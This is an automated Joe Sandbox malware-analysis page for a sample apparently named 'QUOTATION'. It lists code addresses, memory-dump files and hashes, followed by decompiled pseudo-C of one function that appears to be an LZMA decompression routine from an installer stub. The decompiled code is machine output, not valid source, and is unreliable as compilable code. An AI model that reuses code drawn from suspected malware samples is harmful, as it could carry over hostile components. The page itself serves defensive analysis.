0x0040682d
0x00406805
0x00406805
0x0040680d
0x00406812
0x00406814
0x00406816
0x00406816
0x00406830
0x00406837
0x0040683a
0x00000000
0x0040683c
0x00000000
0x0040683c
0x0040683a
0x00406841
0x00406841
0x00406841
0x00406841
0x00000000
0x00000000
0x0040687c
0x0040687c
0x00406880
0x00406e88
0x00000000
0x00406e88
0x00406886
0x00406889
0x0040688c
0x00406890
0x00406893
0x00406899
0x0040689b
0x0040689b
0x0040689b
0x0040689e
0x004068a1
0x004068a1
0x004068a7
0x00406845
0x00406845
0x00406848
0x00000000
0x00406848
0x004068a9
0x004068a9
0x004068ac
0x004068af
0x004068b2
0x004068b5
0x004068b8
0x004068bb
0x004068be
0x004068c1
0x004068c4
0x004068c7
0x004068df
0x004068e2
0x004068e5
0x004068e8
0x004068e8
0x004068eb
0x004068ef
0x004068f1
0x004068c9
0x004068c9
0x004068d1
0x004068d6
0x004068d8
0x004068da
0x004068da
0x004068f4
0x004068fb
0x004068fe
0x00000000
0x00406900
0x00000000
0x00406900
0x00000000
0x00406b8d
0x00406b8d
0x00406b91
0x00406eb8
0x00000000
0x00406eb8
0x00406b97
0x00406b9a
0x00406b9d
0x00406ba1
0x00406ba4
0x00406baa
0x00406bac
0x00406bac
0x00406bac
0x00406baf
0x00000000
0x00000000
0x0040695d
0x0040695d
0x00406960
0x00406cd2
0x00406cd2
0x00000000
0x00000000
0x00000000
0x00000000
0x00406d59
0x00406d5d
0x00406d7b
0x00406d7b
0x00406d7b
0x00406d82
0x00406d89
0x00000000
0x00406d89
0x00406d5f
0x00406d62
0x00406d65
0x00406d68
0x00406d6f
0x00000000
0x00000000
0x00406e4a
0x00406e4d
0x00406d4e
0x00406d4e
0x00000000
0x00000000
0x00406a84
0x00406a86
0x00406a8d
0x00406a8e
0x00406a90
0x00406a93
0x00000000
0x00000000
0x00406a9b
0x00406a9e
0x00406aa1
0x00406aa3
0x00406aa5
0x00406aa5
0x00406aa6
0x00406aa9
0x00406ab0
0x00406ab3
0x00406ac1
0x00000000
0x00000000
0x00000000
0x00000000
0x00406da6
0x00406da6
0x00406daa
0x00406ee2
0x00000000
0x00406ee2
0x00406db0
0x00406db3
0x00406db6
0x00406dba
0x00406dbd
0x00406dc3
0x00406dc5
0x00406dc5
0x00406dc5
0x00406dc8
0x00406dcb
0x00406dcb
0x00406dcb
0x00406dcb
0x00000000
0x00000000
0x00406ac9
0x00406acc
0x00406b02
0x00406c32
0x00406c32
0x00406c32
0x00406c32
0x00406c35
0x00406c35
0x00406c38
0x00406c3a
0x00406ec4
0x00000000
0x00406ec4
0x00406c40
0x00406c43
0x00000000
0x00000000
0x00406c49
0x00406c4d
0x00406c50
0x00406c50
0x00406c50
0x00000000
0x00406c50
0x00406ace
0x00406ad0
0x00406ad2
0x00406ad4
0x00406ad7
0x00406ad8
0x00406ada
0x00406adc
0x00406adf
0x00406ae2
0x00406af8
0x00406afd
0x00406b35
0x00406b35
0x00406b39
0x00406b65
0x00406b67
0x00406b6e
0x00406b71
0x00406b74
0x00406b74
0x00406b79
0x00406b79
0x00406b7b
0x00406b7e
0x00406b85
0x00406b88
0x00406bb5
0x00406bb5
0x00406bb8
0x00406bbb
0x00406c2f
0x00406c2f
0x00406c2f
0x00000000
0x00406c2f
0x00406bbd
0x00406bc3
0x00406bc6
0x00406bc9
0x00406bcc
0x00406bcf
0x00406bd2
0x00406bd5
0x00406bd8
0x00406bdb
0x00406bde
0x00406bf7
0x00406bf9
0x00406bfc
0x00406bfd
0x00406c00
0x00406c02
0x00406c05
0x00406c07
0x00406c09
0x00406c0c
0x00406c0e
0x00406c11
0x00406c15
0x00406c17
0x00406c17
0x00406c18
0x00406c1b
0x00406c1e
0x00406be0
0x00406be0
0x00406be8
0x00406bed
0x00406bef
0x00406bf2
0x00406bf2
0x00406c21
0x00406c28
0x00406bb2
0x00406bb2
0x00406bb2
0x00406bb2
0x00000000
0x00406c2a
0x00000000
0x00406c2a
0x00406c28
0x00406b3b
0x00406b3e
0x00406b40
0x00406b43
0x00406b46
0x00406b49
0x00406b4b
0x00406b4e
0x00406b51
0x00406b51
0x00406b54
0x00406b54
0x00406b57
0x00406b5e
0x00406b32
0x00406b32
0x00406b32
0x00406b32
0x00000000
0x00406b60
0x00000000
0x00406b60
0x00406b5e
0x00406ae4
0x00406ae7
0x00406ae9
0x00406aec
0x00000000
0x00000000
0x0040684b
0x0040684b
0x0040684f
0x00406e94
0x00000000
0x00406e94
0x00406855
0x00406858
0x0040685b
0x0040685e
0x00406861
0x00406864
0x00406867
0x00406869
0x0040686c
0x0040686f
0x00406872
0x00406874
0x00406874
0x00406874
0x00000000
0x00000000
0x004069d6
0x004069d6
0x004069da
0x00406ea0
0x00000000
0x00406ea0
0x004069e0
0x004069e3
0x004069e6
0x004069e9
0x004069eb
0x004069eb
0x004069eb
0x004069ee
0x004069f1
0x004069f4
0x004069f7
0x004069fa
0x004069fd
0x004069fe
0x00406a00
0x00406a00
0x00406a00
0x00406a03
0x00406a06
0x00406a09
0x00406a0c
0x00406a0c
0x00406a0c
0x00406a0f
0x00406a11
0x00406a11
0x00000000
0x00000000
0x00406c53
0x00406c53
0x00406c53
0x00406c57
0x00000000
0x00000000
0x00406c5d
0x00406c60
0x00406c63
0x00406c66
0x00406c68
0x00406c68
0x00406c68
0x00406c6b
0x00406c6e
0x00406c71
0x00406c74
0x00406c77
0x00406c7a
0x00406c7b
0x00406c7d
0x00406c7d
0x00406c7d
0x00406c80
0x00406c83
0x00406c86
0x00406c89
0x00406c8c
0x00406c90
0x00406c92
0x00406c95
0x00000000
0x00406c97
0x00406a14
0x00406a14
0x00000000
0x00406a14
0x00406c95
0x00406eca
0x00406eec
0x00406ef2
0x00406ef4
0x00406efb
0x00406efd
0x00406f04
0x00406f08
0x00000000
0x004064f9
0x00406f01
0x00406f01
0x00000000
0x00406f01
0x00406d4e
0x00406dd4
0x00406dda
0x00406ddd
0x00406de0
0x00406de3
0x00406de6
0x00406de9
0x00406dec
0x00406def
0x00406df5
0x00406e0e
0x00406e11
0x00406e14
0x00406e17
0x00406e1b
0x00406e1d
0x00406e1e
0x00406e21
0x00406df7
0x00406df7
0x00406dff
0x00406e04
0x00406e06
0x00406e09
0x00406e09
0x00406e2b
0x00000000
0x00406e2d
0x00000000
0x00406e2d
0x00406e2b
0x00000000
0x00406ca0

Memory Dump Source

Source File: 00000002.00000002.3670977684.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.3670951494.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.3671039048.0000000000407000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.3671068267.0000000000409000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.3671068267.0000000000421000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.3671068267.0000000000425000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.3671068267.0000000000429000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.3671068267.0000000000431000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.3671068267.0000000000433000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.3671365540.0000000000436000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_QUOTATION.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 48eeb96149e0d88395d78aa931bb38ded32ae5716a52e0a7ec155fc571e56ba0
Instruction ID: 08e1f0bd3e012b2653e952fb076f5459688999f8fa16d8000732ef154d800f7e
Opcode Fuzzy Hash: 48eeb96149e0d88395d78aa931bb38ded32ae5716a52e0a7ec155fc571e56ba0
Instruction Fuzzy Hash: 53912370E00229CBEF28CF98C8547ADBBB1FF44305F15816AD956BB281C7789A96DF44

Uniqueness

Uniqueness Score: -1.00%

Function 004069B2 Relevance: 5.2, APIs: 4, Instructions: 205
COMMON

Download Yara Rule

C-Code - Quality: 98%

			E004069B2() {
				unsigned short _t532;
				signed int _t533;
				void _t534;
				void* _t535;
				signed int _t536;
				signed int _t565;
				signed int _t568;
				signed int _t589;
				signed int* _t606;
				void* _t613;

				L0:
				while(1) {
					L0:
					if( *(_t613 - 0x40) != 0) {
						L89:
						 *((intOrPtr*)(_t613 - 0x80)) = 0x15;
						 *(_t613 - 0x58) =  *(_t613 - 4) + 0xa68;
						L69:
						_t606 =  *(_t613 - 0x58);
						 *(_t613 - 0x84) = 0x12;
						L132:
						 *(_t613 - 0x54) = _t606;
						L133:
						_t532 =  *_t606;
						_t589 = _t532 & 0x0000ffff;
						_t565 = ( *(_t613 - 0x10) >> 0xb) * _t589;
						if( *(_t613 - 0xc) >= _t565) {
							 *(_t613 - 0x10) =  *(_t613 - 0x10) - _t565;
							 *(_t613 - 0xc) =  *(_t613 - 0xc) - _t565;
							 *(_t613 - 0x40) = 1;
							_t533 = _t532 - (_t532 >> 5);
							 *_t606 = _t533;
						} else {
							 *(_t613 - 0x10) = _t565;
							 *(_t613 - 0x40) =  *(_t613 - 0x40) & 0x00000000;
							 *_t606 = (0x800 - _t589 >> 5) + _t532;
						}
						if( *(_t613 - 0x10) >= 0x1000000) {
							L139:
							_t534 =  *(_t613 - 0x84);
							L140:
							 *(_t613 - 0x88) = _t534;
							goto L1;
						} else {
							L137:
							if( *(_t613 - 0x6c) == 0) {
								 *(_t613 - 0x88) = 5;
								goto L170;
							}
							 *(_t613 - 0x10) =  *(_t613 - 0x10) << 8;
							 *(_t613 - 0x6c) =  *(_t613 - 0x6c) - 1;
							 *(_t613 - 0x70) =  &(( *(_t613 - 0x70))[1]);
							 *(_t613 - 0xc) =  *(_t613 - 0xc) << 0x00000008 |  *( *(_t613 - 0x70)) & 0x000000ff;
							goto L139;
						}
					} else {
						if( *(__ebp - 0x60) == 0) {
							L171:
							_t536 = _t535 | 0xffffffff;
							L172:
							return _t536;
						}
						__eax = 0;
						_t258 =  *(__ebp - 0x38) - 7 >= 0;
						0 | _t258 = _t258 + _t258 + 9;
						 *(__ebp - 0x38) = _t258 + _t258 + 9;
						L75:
						if( *(__ebp - 0x64) == 0) {
							 *(__ebp - 0x88) = 0x1b;
							L170:
							_t568 = 0x22;
							memcpy( *(_t613 - 0x90), _t613 - 0x88, _t568 << 2);
							_t536 = 0;
							goto L172;
						}
						__eax =  *(__ebp - 0x14);
						__eax =  *(__ebp - 0x14) -  *(__ebp - 0x2c);
						if(__eax >=  *(__ebp - 0x74)) {
							__eax = __eax +  *(__ebp - 0x74);
						}
						__edx =  *(__ebp - 8);
						__cl =  *(__eax + __edx);
						__eax =  *(__ebp - 0x14);
						 *(__ebp - 0x5c) = __cl;
						 *(__eax + __edx) = __cl;
						__eax = __eax + 1;
						__edx = 0;
						_t274 = __eax %  *(__ebp - 0x74);
						__eax = __eax /  *(__ebp - 0x74);
						__edx = _t274;
						__eax =  *(__ebp - 0x68);
						 *(__ebp - 0x60) =  *(__ebp - 0x60) + 1;
						 *(__ebp - 0x68) =  *(__ebp - 0x68) + 1;
						_t283 = __ebp - 0x64;
						 *_t283 =  *(__ebp - 0x64) - 1;
						 *( *(__ebp - 0x68)) = __cl;
						L79:
						 *(__ebp - 0x14) = __edx;
						L80:
						 *(__ebp - 0x88) = 2;
					}
					L1:
					_t535 =  *(_t613 - 0x88);
					if(_t535 > 0x1c) {
						goto L171;
					}
					switch( *((intOrPtr*)(_t535 * 4 +  &M00406F09))) {
						case 0:
							if( *(_t613 - 0x6c) == 0) {
								goto L170;
							}
							 *(_t613 - 0x6c) =  *(_t613 - 0x6c) - 1;
							 *(_t613 - 0x70) =  &(( *(_t613 - 0x70))[1]);
							_t535 =  *( *(_t613 - 0x70));
							if(_t535 > 0xe1) {
								goto L171;
							}
							_t539 = _t535 & 0x000000ff;
							_push(0x2d);
							asm("cdq");
							_pop(_t570);
							_push(9);
							_pop(_t571);
							_t609 = _t539 / _t570;
							_t541 = _t539 % _t570 & 0x000000ff;
							asm("cdq");
							_t604 = _t541 % _t571 & 0x000000ff;
							 *(_t613 - 0x3c) = _t604;
							 *(_t613 - 0x1c) = (1 << _t609) - 1;
							 *((intOrPtr*)(_t613 - 0x18)) = (1 << _t541 / _t571) - 1;
							_t612 = (0x300 << _t604 + _t609) + 0x736;
							if(0x600 ==  *((intOrPtr*)(_t613 - 0x78))) {
								L10:
								if(_t612 == 0) {
									L12:
									 *(_t613 - 0x48) =  *(_t613 - 0x48) & 0x00000000;
									 *(_t613 - 0x40) =  *(_t613 - 0x40) & 0x00000000;
									goto L15;
								} else {
									goto L11;
								}
								do {
									L11:
									_t612 = _t612 - 1;
									 *((short*)( *(_t613 - 4) + _t612 * 2)) = 0x400;
								} while (_t612 != 0);
								goto L12;
							}
							if( *(_t613 - 4) != 0) {
								GlobalFree( *(_t613 - 4)); // executed
							}
							_t535 = GlobalAlloc(0x40, 0x600); // executed
							 *(_t613 - 4) = _t535;
							if(_t535 == 0) {
								goto L171;
							} else {
								 *((intOrPtr*)(_t613 - 0x78)) = 0x600;
								goto L10;
							}
						case 1:
							L13:
							__eflags =  *(_t613 - 0x6c);
							if( *(_t613 - 0x6c) == 0) {
								 *(_t613 - 0x88) = 1;
								goto L170;
							}
							 *(_t613 - 0x6c) =  *(_t613 - 0x6c) - 1;
							 *(_t613 - 0x40) =  *(_t613 - 0x40) | ( *( *(_t613 - 0x70)) & 0x000000ff) <<  *(_t613 - 0x48) << 0x00000003;
							 *(_t613 - 0x70) =  &(( *(_t613 - 0x70))[1]);
							_t45 = _t613 - 0x48;
							 *_t45 =  *(_t613 - 0x48) + 1;
							__eflags =  *_t45;
							L15:
							if( *(_t613 - 0x48) < 4) {
								goto L13;
							}
							_t547 =  *(_t613 - 0x40);
							if(_t547 ==  *(_t613 - 0x74)) {
								L20:
								 *(_t613 - 0x48) = 5;
								 *( *(_t613 - 8) +  *(_t613 - 0x74) - 1) =  *( *(_t613 - 8) +  *(_t613 - 0x74) - 1) & 0x00000000;
								goto L23;
							}
							 *(_t613 - 0x74) = _t547;
							if( *(_t613 - 8) != 0) {
								GlobalFree( *(_t613 - 8)); // executed
							}
							_t535 = GlobalAlloc(0x40,  *(_t613 - 0x40)); // executed
							 *(_t613 - 8) = _t535;
							if(_t535 == 0) {
								goto L171;
							} else {
								goto L20;
							}
						case 2:
							L24:
							_t554 =  *(_t613 - 0x60) &  *(_t613 - 0x1c);
							 *(_t613 - 0x84) = 6;
							 *(_t613 - 0x4c) = _t554;
							_t606 =  *(_t613 - 4) + (( *(_t613 - 0x38) << 4) + _t554) * 2;
							goto L132;
						case 3:
							L21:
							__eflags =  *(_t613 - 0x6c);
							if( *(_t613 - 0x6c) == 0) {
								 *(_t613 - 0x88) = 3;
								goto L170;
							}
							 *(_t613 - 0x6c) =  *(_t613 - 0x6c) - 1;
							_t67 = _t613 - 0x70;
							 *_t67 =  &(( *(_t613 - 0x70))[1]);
							__eflags =  *_t67;
							 *(_t613 - 0xc) =  *(_t613 - 0xc) << 0x00000008 |  *( *(_t613 - 0x70)) & 0x000000ff;
							L23:
							 *(_t613 - 0x48) =  *(_t613 - 0x48) - 1;
							if( *(_t613 - 0x48) != 0) {
								goto L21;
							}
							goto L24;
						case 4:
							goto L133;
						case 5:
							goto L137;
						case 6:
							__edx = 0;
							__eflags =  *(__ebp - 0x40);
							if( *(__ebp - 0x40) != 0) {
								__eax =  *(__ebp - 4);
								__ecx =  *(__ebp - 0x38);
								 *(__ebp - 0x34) = 1;
								 *(__ebp - 0x84) = 7;
								__esi =  *(__ebp - 4) + 0x180 +  *(__ebp - 0x38) * 2;
								goto L132;
							}
							__eax =  *(__ebp - 0x5c) & 0x000000ff;
							__esi =  *(__ebp - 0x60);
							__cl = 8;
							__cl = 8 -  *(__ebp - 0x3c);
							__esi =  *(__ebp - 0x60) &  *(__ebp - 0x18);
							__eax = ( *(__ebp - 0x5c) & 0x000000ff) >> 8;
							__ecx =  *(__ebp - 0x3c);
							__esi = ( *(__ebp - 0x60) &  *(__ebp - 0x18)) << 8;
							__ecx =  *(__ebp - 4);
							(( *(__ebp - 0x5c) & 0x000000ff) >> 8) + (( *(__ebp - 0x60) &  *(__ebp - 0x18)) << 8) = (( *(__ebp - 0x5c) & 0x000000ff) >> 8) + (( *(__ebp - 0x60) &  *(__ebp - 0x18)) << 8) + ((( *(__ebp - 0x5c) & 0x000000ff) >> 8) + (( *(__ebp - 0x60) &  *(__ebp - 0x18)) << 8)) * 2;
							__eax = (( *(__ebp - 0x5c) & 0x000000ff) >> 8) + (( *(__ebp - 0x60) &  *(__ebp - 0x18)) << 8) + ((( *(__ebp - 0x5c) & 0x000000ff) >> 8) + (( *(__ebp - 0x60) &  *(__ebp - 0x18)) << 8)) * 2 << 9;
							__eflags =  *(__ebp - 0x38) - 4;
							__eax = ((( *(__ebp - 0x5c) & 0x000000ff) >> 8) + (( *(__ebp - 0x60) &  *(__ebp - 0x18)) << 8) + ((( *(__ebp - 0x5c) & 0x000000ff) >> 8) + (( *(__ebp - 0x60) &  *(__ebp - 0x18)) << 8)) * 2 << 9) +  *(__ebp - 4) + 0xe6c;
							 *(__ebp - 0x58) = ((( *(__ebp - 0x5c) & 0x000000ff) >> 8) + (( *(__ebp - 0x60) &  *(__ebp - 0x18)) << 8) + ((( *(__ebp - 0x5c) & 0x000000ff) >> 8) + (( *(__ebp - 0x60) &  *(__ebp - 0x18)) << 8)) * 2 << 9) +  *(__ebp - 4) + 0xe6c;
							if( *(__ebp - 0x38) >= 4) {
								__eflags =  *(__ebp - 0x38) - 0xa;
								if( *(__ebp - 0x38) >= 0xa) {
									_t98 = __ebp - 0x38;
									 *_t98 =  *(__ebp - 0x38) - 6;
									__eflags =  *_t98;
								} else {
									 *(__ebp - 0x38) =  *(__ebp - 0x38) - 3;
								}
							} else {
								 *(__ebp - 0x38) = 0;
							}
							__eflags =  *(__ebp - 0x34) - __edx;
							if( *(__ebp - 0x34) == __edx) {
								__ebx = 0;
								__ebx = 1;
								goto L61;
							} else {
								__eax =  *(__ebp - 0x14);
								__eax =  *(__ebp - 0x14) -  *(__ebp - 0x2c);
								__eflags = __eax -  *(__ebp - 0x74);
								if(__eax >=  *(__ebp - 0x74)) {
									__eax = __eax +  *(__ebp - 0x74);
									__eflags = __eax;
								}
								__ecx =  *(__ebp - 8);
								__ebx = 0;
								__ebx = 1;
								__al =  *((intOrPtr*)(__eax + __ecx));
								 *(__ebp - 0x5b) =  *((intOrPtr*)(__eax + __ecx));
								goto L41;
							}
						case 7:
							__eflags =  *(__ebp - 0x40) - 1;
							if( *(__ebp - 0x40) != 1) {
								__eax =  *(__ebp - 0x24);
								 *(__ebp - 0x80) = 0x16;
								 *(__ebp - 0x20) =  *(__ebp - 0x24);
								__eax =  *(__ebp - 0x28);
								 *(__ebp - 0x24) =  *(__ebp - 0x28);
								__eax =  *(__ebp - 0x2c);
								 *(__ebp - 0x28) =  *(__ebp - 0x2c);
								__eax = 0;
								__eflags =  *(__ebp - 0x38) - 7;
								0 | __eflags >= 0x00000000 = (__eflags >= 0) - 1;
								__al = __al & 0x000000fd;
								__eax = (__eflags >= 0) - 1 + 0xa;
								 *(__ebp - 0x38) = (__eflags >= 0) - 1 + 0xa;
								__eax =  *(__ebp - 4);
								__eax =  *(__ebp - 4) + 0x664;
								__eflags = __eax;
								 *(__ebp - 0x58) = __eax;
								goto L69;
							}
							__eax =  *(__ebp - 4);
							__ecx =  *(__ebp - 0x38);
							 *(__ebp - 0x84) = 8;
							__esi =  *(__ebp - 4) + 0x198 +  *(__ebp - 0x38) * 2;
							goto L132;
						case 8:
							__eflags =  *(__ebp - 0x40);
							if( *(__ebp - 0x40) != 0) {
								__eax =  *(__ebp - 4);
								__ecx =  *(__ebp - 0x38);
								 *(__ebp - 0x84) = 0xa;
								__esi =  *(__ebp - 4) + 0x1b0 +  *(__ebp - 0x38) * 2;
							} else {
								__eax =  *(__ebp - 0x38);
								__ecx =  *(__ebp - 4);
								__eax =  *(__ebp - 0x38) + 0xf;
								 *(__ebp - 0x84) = 9;
								 *(__ebp - 0x38) + 0xf << 4 = ( *(__ebp - 0x38) + 0xf << 4) +  *(__ebp - 0x4c);
								__esi =  *(__ebp - 4) + (( *(__ebp - 0x38) + 0xf << 4) +  *(__ebp - 0x4c)) * 2;
							}
							goto L132;
						case 9:
							goto L0;
						case 0xa:
							__eflags =  *(__ebp - 0x40);
							if( *(__ebp - 0x40) != 0) {
								__eax =  *(__ebp - 4);
								__ecx =  *(__ebp - 0x38);
								 *(__ebp - 0x84) = 0xb;
								__esi =  *(__ebp - 4) + 0x1c8 +  *(__ebp - 0x38) * 2;
								goto L132;
							}
							__eax =  *(__ebp - 0x28);
							goto L88;
						case 0xb:
							__eflags =  *(__ebp - 0x40);
							if( *(__ebp - 0x40) != 0) {
								__ecx =  *(__ebp - 0x24);
								__eax =  *(__ebp - 0x20);
								 *(__ebp - 0x20) =  *(__ebp - 0x24);
							} else {
								__eax =  *(__ebp - 0x24);
							}
							__ecx =  *(__ebp - 0x28);
							 *(__ebp - 0x24) =  *(__ebp - 0x28);
							L88:
							__ecx =  *(__ebp - 0x2c);
							 *(__ebp - 0x2c) = __eax;
							 *(__ebp - 0x28) =  *(__ebp - 0x2c);
							goto L89;
						case 0xc:
							L99:
							__eflags =  *(__ebp - 0x6c);
							if( *(__ebp - 0x6c) == 0) {
								 *(__ebp - 0x88) = 0xc;
								goto L170;
							}
							__ecx =  *(__ebp - 0x70);
							__eax =  *(__ebp - 0xc);
							 *(__ebp - 0x10) =  *(__ebp - 0x10) << 8;
							__ecx =  *( *(__ebp - 0x70)) & 0x000000ff;
							 *(__ebp - 0x6c) =  *(__ebp - 0x6c) - 1;
							 *(__ebp - 0xc) << 8 =  *(__ebp - 0xc) << 0x00000008 |  *( *(__ebp - 0x70)) & 0x000000ff;
							_t334 = __ebp - 0x70;
							 *_t334 =  *(__ebp - 0x70) + 1;
							__eflags =  *_t334;
							 *(__ebp - 0xc) =  *(__ebp - 0xc) << 0x00000008 |  *( *(__ebp - 0x70)) & 0x000000ff;
							__eax =  *(__ebp - 0x2c);
							goto L101;
						case 0xd:
							L37:
							__eflags =  *(__ebp - 0x6c);
							if( *(__ebp - 0x6c) == 0) {
								 *(__ebp - 0x88) = 0xd;
								goto L170;
							}
							__ecx =  *(__ebp - 0x70);
							__eax =  *(__ebp - 0xc);
							 *(__ebp - 0x10) =  *(__ebp - 0x10) << 8;
							__ecx =  *( *(__ebp - 0x70)) & 0x000000ff;
							 *(__ebp - 0x6c) =  *(__ebp - 0x6c) - 1;
							 *(__ebp - 0xc) << 8 =  *(__ebp - 0xc) << 0x00000008 |  *( *(__ebp - 0x70)) & 0x000000ff;
							_t122 = __ebp - 0x70;
							 *_t122 =  *(__ebp - 0x70) + 1;
							__eflags =  *_t122;
							 *(__ebp - 0xc) =  *(__ebp - 0xc) << 0x00000008 |  *( *(__ebp - 0x70)) & 0x000000ff;
							L39:
							__eax =  *(__ebp - 0x40);
							__eflags =  *(__ebp - 0x48) -  *(__ebp - 0x40);
							if( *(__ebp - 0x48) !=  *(__ebp - 0x40)) {
								goto L48;
							}
							__eflags = __ebx - 0x100;
							if(__ebx >= 0x100) {
								goto L54;
							}
							L41:
							__eax =  *(__ebp - 0x5b) & 0x000000ff;
							 *(__ebp - 0x5b) =  *(__ebp - 0x5b) << 1;
							__ecx =  *(__ebp - 0x58);
							__eax = ( *(__ebp - 0x5b) & 0x000000ff) >> 7;
							 *(__ebp - 0x48) = __eax;
							__eax = __eax + 1;
							__eax = __eax << 8;
							__eax = __eax + __ebx;
							__esi =  *(__ebp - 0x58) + __eax * 2;
							 *(__ebp - 0x10) =  *(__ebp - 0x10) >> 0xb;
							__ax =  *__esi;
							 *(__ebp - 0x54) = __esi;
							__edx = __ax & 0x0000ffff;
							__ecx = ( *(__ebp - 0x10) >> 0xb) * __edx;
							__eflags =  *(__ebp - 0xc) - __ecx;
							if( *(__ebp - 0xc) >= __ecx) {
								 *(__ebp - 0x10) =  *(__ebp - 0x10) - __ecx;
								 *(__ebp - 0xc) =  *(__ebp - 0xc) - __ecx;
								__cx = __ax;
								 *(__ebp - 0x40) = 1;
								__cx = __ax >> 5;
								__eflags = __eax;
								__ebx = __ebx + __ebx + 1;
								 *__esi = __ax;
							} else {
								 *(__ebp - 0x40) =  *(__ebp - 0x40) & 0x00000000;
								 *(__ebp - 0x10) = __ecx;
								0x800 = 0x800 - __edx;
								0x800 - __edx >> 5 = (0x800 - __edx >> 5) + __eax;
								__ebx = __ebx + __ebx;
								 *__esi = __cx;
							}
							__eflags =  *(__ebp - 0x10) - 0x1000000;
							 *(__ebp - 0x44) = __ebx;
							if( *(__ebp - 0x10) >= 0x1000000) {
								goto L39;
							} else {
								goto L37;
							}
						case 0xe:
							L46:
							__eflags =  *(__ebp - 0x6c);
							if( *(__ebp - 0x6c) == 0) {
								 *(__ebp - 0x88) = 0xe;
								goto L170;
							}
							__ecx =  *(__ebp - 0x70);
							__eax =  *(__ebp - 0xc);
							 *(__ebp - 0x10) =  *(__ebp - 0x10) << 8;
							__ecx =  *( *(__ebp - 0x70)) & 0x000000ff;
							 *(__ebp - 0x6c) =  *(__ebp - 0x6c) - 1;
							 *(__ebp - 0xc) << 8 =  *(__ebp - 0xc) << 0x00000008 |  *( *(__ebp - 0x70)) & 0x000000ff;
							_t156 = __ebp - 0x70;
							 *_t156 =  *(__ebp - 0x70) + 1;
							__eflags =  *_t156;
							 *(__ebp - 0xc) =  *(__ebp - 0xc) << 0x00000008 |  *( *(__ebp - 0x70)) & 0x000000ff;
							while(1) {
								L48:
								__eflags = __ebx - 0x100;
								if(__ebx >= 0x100) {
									break;
								}
								__eax =  *(__ebp - 0x58);
								__edx = __ebx + __ebx;
								__ecx =  *(__ebp - 0x10);
								__esi = __edx + __eax;
								__ecx =  *(__ebp - 0x10) >> 0xb;
								__ax =  *__esi;
								 *(__ebp - 0x54) = __esi;
								__edi = __ax & 0x0000ffff;
								__ecx = ( *(__ebp - 0x10) >> 0xb) * __edi;
								__eflags =  *(__ebp - 0xc) - __ecx;
								if( *(__ebp - 0xc) >= __ecx) {
									 *(__ebp - 0x10) =  *(__ebp - 0x10) - __ecx;
									 *(__ebp - 0xc) =  *(__ebp - 0xc) - __ecx;
									__cx = __ax;
									_t170 = __edx + 1; // 0x1
									__ebx = _t170;
									__cx = __ax >> 5;
									__eflags = __eax;
									 *__esi = __ax;
								} else {
									 *(__ebp - 0x10) = __ecx;
									0x800 = 0x800 - __edi;
									0x800 - __edi >> 5 = (0x800 - __edi >> 5) + __eax;
									__ebx = __ebx + __ebx;
									 *__esi = __cx;
								}
								__eflags =  *(__ebp - 0x10) - 0x1000000;
								 *(__ebp - 0x44) = __ebx;
								if( *(__ebp - 0x10) >= 0x1000000) {
									continue;
								} else {
									goto L46;
								}
							}
							L54:
							_t173 = __ebp - 0x34;
							 *_t173 =  *(__ebp - 0x34) & 0x00000000;
							__eflags =  *_t173;
							goto L55;
						case 0xf:
							L58:
							__eflags =  *(__ebp - 0x6c);
							if( *(__ebp - 0x6c) == 0) {
								 *(__ebp - 0x88) = 0xf;
								goto L170;
							}
							__ecx =  *(__ebp - 0x70);
							__eax =  *(__ebp - 0xc);
							 *(__ebp - 0x10) =  *(__ebp - 0x10) << 8;
							__ecx =  *( *(__ebp - 0x70)) & 0x000000ff;
							 *(__ebp - 0x6c) =  *(__ebp - 0x6c) - 1;
							 *(__ebp - 0xc) << 8 =  *(__ebp - 0xc) << 0x00000008 |  *( *(__ebp - 0x70)) & 0x000000ff;
							_t203 = __ebp - 0x70;
							 *_t203 =  *(__ebp - 0x70) + 1;
							__eflags =  *_t203;
							 *(__ebp - 0xc) =  *(__ebp - 0xc) << 0x00000008 |  *( *(__ebp - 0x70)) & 0x000000ff;
							L60:
							__eflags = __ebx - 0x100;
							if(__ebx >= 0x100) {
								L55:
								__al =  *(__ebp - 0x44);
								 *(__ebp - 0x5c) =  *(__ebp - 0x44);
								goto L56;
							}
							L61:
							__eax =  *(__ebp - 0x58);
							__edx = __ebx + __ebx;
							__ecx =  *(__ebp - 0x10);
							__esi = __edx + __eax;
							__ecx =  *(__ebp - 0x10) >> 0xb;
							__ax =  *__esi;
							 *(__ebp - 0x54) = __esi;
							__edi = __ax & 0x0000ffff;
							__ecx = ( *(__ebp - 0x10) >> 0xb) * __edi;
							__eflags =  *(__ebp - 0xc) - __ecx;
							if( *(__ebp - 0xc) >= __ecx) {
								 *(__ebp - 0x10) =  *(__ebp - 0x10) - __ecx;
								 *(__ebp - 0xc) =  *(__ebp - 0xc) - __ecx;
								__cx = __ax;
								_t217 = __edx + 1; // 0x1
								__ebx = _t217;
								__cx = __ax >> 5;
								__eflags = __eax;
								 *__esi = __ax;
							} else {
								 *(__ebp - 0x10) = __ecx;
								0x800 = 0x800 - __edi;
								0x800 - __edi >> 5 = (0x800 - __edi >> 5) + __eax;
								__ebx = __ebx + __ebx;
								 *__esi = __cx;
							}
							__eflags =  *(__ebp - 0x10) - 0x1000000;
							 *(__ebp - 0x44) = __ebx;
							if( *(__ebp - 0x10) >= 0x1000000) {
								goto L60;
							} else {
								goto L58;
							}
						case 0x10:
							L109:
							__eflags =  *(__ebp - 0x6c);
							if( *(__ebp - 0x6c) == 0) {
								 *(__ebp - 0x88) = 0x10;
								goto L170;
							}
							__ecx =  *(__ebp - 0x70);
							__eax =  *(__ebp - 0xc);
							 *(__ebp - 0x10) =  *(__ebp - 0x10) << 8;
							__ecx =  *( *(__ebp - 0x70)) & 0x000000ff;
